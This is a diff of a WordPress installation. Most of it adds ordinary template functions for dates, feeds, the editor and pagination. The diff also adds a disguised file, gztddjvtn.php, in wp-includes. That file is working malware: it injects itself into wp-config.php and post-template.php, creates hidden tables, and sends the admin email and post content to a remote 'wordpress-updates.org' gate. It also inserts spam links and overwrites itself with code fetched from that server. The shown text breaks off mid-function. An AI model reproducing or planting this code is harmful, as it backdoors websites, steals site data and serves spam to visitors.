format. + */ +function the_time( $d = '' ) { + echo apply_filters('the_time', get_the_time( $d ), $d); +} + +/** + * Retrieve the time at which the post was written. + * + * @since 1.5.0 + * + * @param string $d Either 'G', 'U', or php date format defaults to the value specified in the time_format option. + * @param int|object $post Optional post ID or object. Default is global $post object. + * @return string + */ +function get_the_time( $d = '', $post = null ) { + $post = get_post($post); + + if ( '' == $d ) + $the_time = get_post_time(get_option('time_format'), false, $post, true); + else + $the_time = get_post_time($d, false, $post, true); + return apply_filters('get_the_time', $the_time, $d, $post); +} + +/** + * Retrieve the time at which the post was written. + * + * @since 2.0.0 + * + * @param string $d Either 'G', 'U', or php date format. + * @param bool $gmt Whether of not to return the gmt time. + * @param int|object $post Optional post ID or object. Default is global $post object. + * @param bool $translate Whether to translate the time string or not + * @return string + */ +function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { // returns timestamp + $post = get_post($post); + + if ( $gmt ) + $time = $post->post_date_gmt; + else + $time = $post->post_date; + + $time = mysql2date($d, $time, $translate); + return apply_filters('get_post_time', $time, $d, $gmt); +} + +/** + * Display the time at which the post was last modified. + * + * @since 2.0.0 + * + * @param string $d Either 'G', 'U', or php date format defaults to the value specified in the time_format option. + */ +function the_modified_time($d = '') { + echo apply_filters('the_modified_time', get_the_modified_time($d), $d); +} + +/** + * Retrieve the time at which the post was last modified. + * + * @since 2.0.0 + * + * @param string $d Either 'G', 'U', or php date format defaults to the value specified in the time_format option. + * @return string + */ +function get_the_modified_time($d = '') { + if ( '' == $d ) + $the_time = get_post_modified_time(get_option('time_format'), null, null, true); + else + $the_time = get_post_modified_time($d, null, null, true); + return apply_filters('get_the_modified_time', $the_time, $d); +} + +/** + * Retrieve the time at which the post was last modified. + * + * @since 2.0.0 + * + * @param string $d Either 'G', 'U', or php date format. + * @param bool $gmt Whether of not to return the gmt time. + * @param int|object $post A post_id or post object + * @param bool translate Whether to translate the result or not + * @return string Returns timestamp + */ +function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { + $post = get_post($post); + + if ( $gmt ) + $time = $post->post_modified_gmt; + else + $time = $post->post_modified; + $time = mysql2date($d, $time, $translate); + + return apply_filters('get_post_modified_time', $time, $d, $gmt); +} + +/** + * Display the weekday on which the post was written. + * + * @since 0.71 + * @uses $wp_locale + * @uses $post + */ +function the_weekday() { + global $wp_locale, $post; + $the_weekday = $wp_locale->get_weekday(mysql2date('w', $post->post_date, false)); + $the_weekday = apply_filters('the_weekday', $the_weekday); + echo $the_weekday; +} + +/** + * Display the weekday on which the post was written. + * + * Will only output the weekday if the current post's weekday is different from + * the previous one output. + * + * @since 0.71 + * + * @param string $before output before the date. + * @param string $after output after the date. + */ +function the_weekday_date($before='',$after='') { + global $wp_locale, $post, $day, $previousweekday; + $the_weekday_date = ''; + if ( $day != $previousweekday ) { + $the_weekday_date .= $before; + $the_weekday_date .= $wp_locale->get_weekday(mysql2date('w', $post->post_date, false)); + $the_weekday_date .= $after; + $previousweekday = $day; + } + $the_weekday_date = apply_filters('the_weekday_date', $the_weekday_date, $before, $after); + echo $the_weekday_date; +} + +/** + * Fire the wp_head action + * + * @since 1.2.0 + * @uses do_action() Calls 'wp_head' hook. + */ +function wp_head() { + do_action('wp_head'); +} + +/** + * Fire the wp_footer action + * + * @since 1.5.1 + * @uses do_action() Calls 'wp_footer' hook. + */ +function wp_footer() { + do_action('wp_footer'); +} + +/** + * Enable/disable automatic general feed link outputting. + * + * @since 2.8.0 + * + * @param boolean $add Add or remove links. Defaults to true. + */ +function automatic_feed_links( $add = true ) { + if ( $add ) + add_action( 'wp_head', 'feed_links', 2 ); + else { + remove_action( 'wp_head', 'feed_links', 2 ); + remove_action( 'wp_head', 'feed_links_extra', 3 ); + } +} + +/** + * Display the links to the general feeds. + * + * @since 2.8.0 + * + * @param array $args Optional arguments. + */ +function feed_links( $args ) { + $defaults = array( + /* translators: Separator between blog name and feed type in feed links */ + 'separator' => _x('»', 'feed link'), + /* translators: 1: blog title, 2: separator (raquo) */ + 'feedtitle' => __('%1$s %2$s Feed'), + /* translators: %s: blog title, 2: separator (raquo) */ + 'comstitle' => __('%1$s %2$s Comments Feed'), + ); + + $args = wp_parse_args( $args, $defaults ); + + echo '\n"; + echo '\n"; +} + +/** + * Display the links to the extra feeds such as category feeds. + * + * @since 2.8.0 + * + * @param array $args Optional arguments. + */ +function feed_links_extra( $args ) { + $defaults = array( + /* translators: Separator between blog name and feed type in feed links */ + 'separator' => _x('»', 'feed link'), + /* translators: 1: blog name, 2: separator(raquo), 3: post title */ + 'singletitle' => __('%1$s %2$s %3$s Comments Feed'), + /* translators: 1: blog name, 2: separator(raquo), 3: category name */ + 'cattitle' => __('%1$s %2$s %3$s Category Feed'), + /* translators: 1: blog name, 2: separator(raquo), 3: tag name */ + 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'), + /* translators: 1: blog name, 2: separator(raquo), 3: author name */ + 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'), + /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */ + 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'), + ); + + $args = wp_parse_args( $args, $defaults ); + + if ( is_single() || is_page() ) { + $post = &get_post( $id = 0 ); + + if ( comments_open() || pings_open() || $post->comment_count > 0 ) { + $title = esc_attr(sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], esc_html( get_the_title() ) )); + $href = get_post_comments_feed_link( $post->ID ); + } + } elseif ( is_category() ) { + $cat_id = intval( get_query_var('cat') ); + + $title = esc_attr(sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], get_cat_name( $cat_id ) )); + $href = get_category_feed_link( $cat_id ); + } elseif ( is_tag() ) { + $tag_id = intval( get_query_var('tag_id') ); + $tag = get_tag( $tag_id ); + + $title = esc_attr(sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $tag->name )); + $href = get_tag_feed_link( $tag_id ); + } elseif ( is_author() ) { + $author_id = intval( get_query_var('author') ); + + $title = esc_attr(sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) )); + $href = get_author_feed_link( $author_id ); + } elseif ( is_search() ) { + $title = esc_attr(sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query() )); + $href = get_search_feed_link(); + } + + if ( isset($title) && isset($href) ) + echo '' . "\n"; +} + +/** + * Display the link to the Really Simple Discovery service endpoint. + * + * @link http://archipelago.phrasewise.com/rsd + * @since 2.0.0 + */ +function rsd_link() { + echo '\n"; +} + +/** + * Display the link to the Windows Live Writer manifest file. + * + * @link http://msdn.microsoft.com/en-us/library/bb463265.aspx + * @since 2.3.1 + */ +function wlwmanifest_link() { + echo ' ' . "\n"; +} + +/** + * Display a noindex meta tag if required by the blog configuration. + * + * If a blog is marked as not being public then the noindex meta tag will be + * output to tell web robots not to index the page content. + * + * @since 2.1.0 + */ +function noindex() { + // If the blog is not public, tell robots to go away. + if ( '0' == get_option('blog_public') ) + echo "\n"; +} + +/** + * Determine if TinyMCE is available. + * + * Checks to see if the user has deleted the tinymce files to slim down there WordPress install. + * + * @since 2.1.0 + * + * @return bool Whether of not TinyMCE exists. + */ +function rich_edit_exists() { + global $wp_rich_edit_exists; + if ( !isset($wp_rich_edit_exists) ) + $wp_rich_edit_exists = file_exists(ABSPATH . WPINC . '/js/tinymce/tiny_mce.js'); + return $wp_rich_edit_exists; +} + +/** + * Whether or not the user should have a WYSIWIG editor. + * + * Checks that the user requires a WYSIWIG editor and that the editor is + * supported in the users browser. + * + * @since 2.0.0 + * + * @return bool + */ +function user_can_richedit() { + global $wp_rich_edit, $pagenow; + + if ( !isset( $wp_rich_edit) ) { + if ( get_user_option( 'rich_editing' ) == 'true' && + ( ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval($match[1]) >= 420 ) || + !preg_match( '!opera[ /][2-8]|konqueror|safari!i', $_SERVER['HTTP_USER_AGENT'] ) ) + && 'comment.php' != $pagenow ) { + $wp_rich_edit = true; + } else { + $wp_rich_edit = false; + } + } + + return apply_filters('user_can_richedit', $wp_rich_edit); +} + +/** + * Find out which editor should be displayed by default. + * + * Works out which of the two editors to display as the current editor for a + * user. + * + * @since 2.5.0 + * + * @return string Either 'tinymce', or 'html', or 'test' + */ +function wp_default_editor() { + $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults + if ( $user = wp_get_current_user() ) { // look for cookie + $ed = get_user_setting('editor', 'tinymce'); + $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r; + } + return apply_filters( 'wp_default_editor', $r ); // filter +} + +/** + * Display visual editor forms: TinyMCE, or HTML, or both. + * + * The amount of rows the text area will have for the content has to be between + * 3 and 100 or will default at 12. There is only one option used for all users, + * named 'default_post_edit_rows'. + * + * If the user can not use the rich editor (TinyMCE), then the switch button + * will not be displayed. + * + * @since 2.1.0 + * + * @param string $content Textarea content. + * @param string $id HTML ID attribute value. + * @param string $prev_id HTML ID name for switching back and forth between visual editors. + * @param bool $media_buttons Optional, default is true. Whether to display media buttons. + * @param int $tab_index Optional, default is 2. Tabindex for textarea element. + */ +function the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2) { + $rows = get_option('default_post_edit_rows'); + if (($rows < 3) || ($rows > 100)) + $rows = 12; + + if ( !current_user_can( 'upload_files' ) ) + $media_buttons = false; + + $richedit = user_can_richedit(); + $class = ''; + + if ( $richedit || $media_buttons ) { ?> +
    + +
    + + + + + + + +
    + +
    + +
    + +
    + +
    + +
    \n"); + $the_editor_content = apply_filters('the_editor_content', $content); + + printf($the_editor, $the_editor_content); + +?> + + '%_%', // http://example.com/all_posts.php%_% : %_% is replaced by format (below) + 'format' => '?page=%#%', // ?page=%#% : %#% is replaced by the page number + 'total' => 1, + 'current' => 0, + 'show_all' => false, + 'prev_next' => true, + 'prev_text' => __('« Previous'), + 'next_text' => __('Next »'), + 'end_size' => 1, + 'mid_size' => 2, + 'type' => 'plain', + 'add_args' => false, // array of query args to add + 'add_fragment' => '' + ); + + $args = wp_parse_args( $args, $defaults ); + extract($args, EXTR_SKIP); + + // Who knows what else people pass in $args + $total = (int) $total; + if ( $total < 2 ) + return; + $current = (int) $current; + $end_size = 0 < (int) $end_size ? (int) $end_size : 1; // Out of bounds? Make it the default. + $mid_size = 0 <= (int) $mid_size ? (int) $mid_size : 2; + $add_args = is_array($add_args) ? $add_args : false; + $r = ''; + $page_links = array(); + $n = 0; + $dots = false; + + if ( $prev_next && $current && 1 < $current ) : + $link = str_replace('%_%', 2 == $current ? '' : $format, $base); + $link = str_replace('%#%', $current - 1, $link); + if ( $add_args ) + $link = add_query_arg( $add_args, $link ); + $link .= $add_fragment; + $page_links[] = ""; + endif; + for ( $n = 1; $n <= $total; $n++ ) : + $n_display = number_format_i18n($n); + if ( $n == $current ) : + $page_links[] = "$n_display"; + $dots = true; + else : + if ( $show_all || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) : + $link = str_replace('%_%', 1 == $n ? '' : $format, $base); + $link = str_replace('%#%', $n, $link); + if ( $add_args ) + $link = add_query_arg( $add_args, $link ); + $link .= $add_fragment; + $page_links[] = "$n_display"; + $dots = true; + elseif ( $dots && !$show_all ) : + $page_links[] = "..."; + $dots = false; + endif; + endif; + endfor; + if ( $prev_next && $current && ( $current < $total || -1 == $total ) ) : + $link = str_replace('%_%', $format, $base); + $link = str_replace('%#%', $current + 1, $link); + if ( $add_args ) + $link = add_query_arg( $add_args, $link ); + $link .= $add_fragment; + $page_links[] = ""; + endif; + switch ( $type ) : + case 'array' : + return $page_links; + break; + case 'list' : + $r .= "
      \n\t
    • "; + $r .= join("
    • \n\t
    • ", $page_links); + $r .= "
    • \n
    \n"; + break; + default : + $r = join("\n", $page_links); + break; + endswitch; + return $r; +} + +/** + * Registers an admin colour scheme css file. + * + * Allows a plugin to register a new admin colour scheme. For example: + * + * wp_admin_css_color('classic', __('Classic'), admin_url("css/colors-classic.css"), + * array('#07273E', '#14568A', '#D54E21', '#2683AE')); + * + * + * @since 2.5.0 + * + * @param string $key The unique key for this theme. + * @param string $name The name of the theme. + * @param string $url The url of the css file containing the colour scheme. + * @param array @colors An array of CSS color definitions which are used to give the user a feel for the theme. + */ +function wp_admin_css_color($key, $name, $url, $colors = array()) { + global $_wp_admin_css_colors; + + if ( !isset($_wp_admin_css_colors) ) + $_wp_admin_css_colors = array(); + + $_wp_admin_css_colors[$key] = (object) array('name' => $name, 'url' => $url, 'colors' => $colors); +} + +/** + * Display the URL of a WordPress admin CSS file. + * + * @see WP_Styles::_css_href and its style_loader_src filter. + * + * @since 2.3.0 + * + * @param string $file file relative to wp-admin/ without its ".css" extension. + */ +function wp_admin_css_uri( $file = 'wp-admin' ) { + if ( defined('WP_INSTALLING') ) { + $_file = "./$file.css"; + } else { + $_file = admin_url("$file.css"); + } + $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file ); + + return apply_filters( 'wp_admin_css_uri', $_file, $file ); +} + +/** + * Enqueues or directly prints a stylesheet link to the specified CSS file. + * + * "Intelligently" decides to enqueue or to print the CSS file. If the + * 'wp_print_styles' action has *not* yet been called, the CSS file will be + * enqueued. If the wp_print_styles action *has* been called, the CSS link will + * be printed. Printing may be forced by passing TRUE as the $force_echo + * (second) parameter. + * + * For backward compatibility with WordPress 2.3 calling method: If the $file + * (first) parameter does not correspond to a registered CSS file, we assume + * $file is a file relative to wp-admin/ without its ".css" extension. A + * stylesheet link to that generated URL is printed. + * + * @package WordPress + * @since 2.3.0 + * @uses $wp_styles WordPress Styles Object + * + * @param string $file Style handle name or file name (without ".css" extension) relative to wp-admin/ + * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued. + */ +function wp_admin_css( $file = 'wp-admin', $force_echo = false ) { + global $wp_styles; + if ( !is_a($wp_styles, 'WP_Styles') ) + $wp_styles = new WP_Styles(); + + // For backward compatibility + $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file; + + if ( $wp_styles->query( $handle ) ) { + if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately + wp_print_styles( $handle ); + else // Add to style queue + wp_enqueue_style( $handle ); + return; + } + + echo apply_filters( 'wp_admin_css', "\n", $file ); + if ( 'rtl' == get_bloginfo( 'text_direction' ) ) + echo apply_filters( 'wp_admin_css', "\n", "$file-rtl" ); +} + +/** + * Enqueues the default ThickBox js and css. + * + * If any of the settings need to be changed, this can be done with another js + * file similar to media-upload.js and theme-preview.js. That file should + * require array('thickbox') to ensure it is loaded after. + * + * @since 2.5.0 + */ +function add_thickbox() { + wp_enqueue_script( 'thickbox' ); + wp_enqueue_style( 'thickbox' ); +} + +/** + * Display the XHTML generator that is generated on the wp_head hook. + * + * @since 2.5.0 + */ +function wp_generator() { + the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) ); +} + +/** + * Display the generator XML or Comment for RSS, ATOM, etc. + * + * Returns the correct generator type for the requested output format. Allows + * for a plugin to filter generators overall the the_generator filter. + * + * @since 2.5.0 + * @uses apply_filters() Calls 'the_generator' hook. + * + * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export). + */ +function the_generator( $type ) { + echo apply_filters('the_generator', get_the_generator($type), $type) . "\n"; +} + +/** + * Creates the generator XML or Comment for RSS, ATOM, etc. + * + * Returns the correct generator type for the requested output format. Allows + * for a plugin to filter generators on an individual basis using the + * 'get_the_generator_{$type}' filter. + * + * @since 2.5.0 + * @uses apply_filters() Calls 'get_the_generator_$type' hook. + * + * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export). + * @return string The HTML content for the generator. + */ +function get_the_generator( $type ) { + switch ($type) { + case 'html': + $gen = ''; + break; + case 'xhtml': + $gen = ''; + break; + case 'atom': + $gen = 'WordPress'; + break; + case 'rss2': + $gen = 'http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . ''; + break; + case 'rdf': + $gen = ''; + break; + case 'comment': + $gen = ''; + break; + case 'export': + $gen = ''; + break; + } + return apply_filters( "get_the_generator_{$type}", $gen, $type ); +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/gztddjvtn.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/gztddjvtn.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

    ".$t_link[0]."

    "; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + 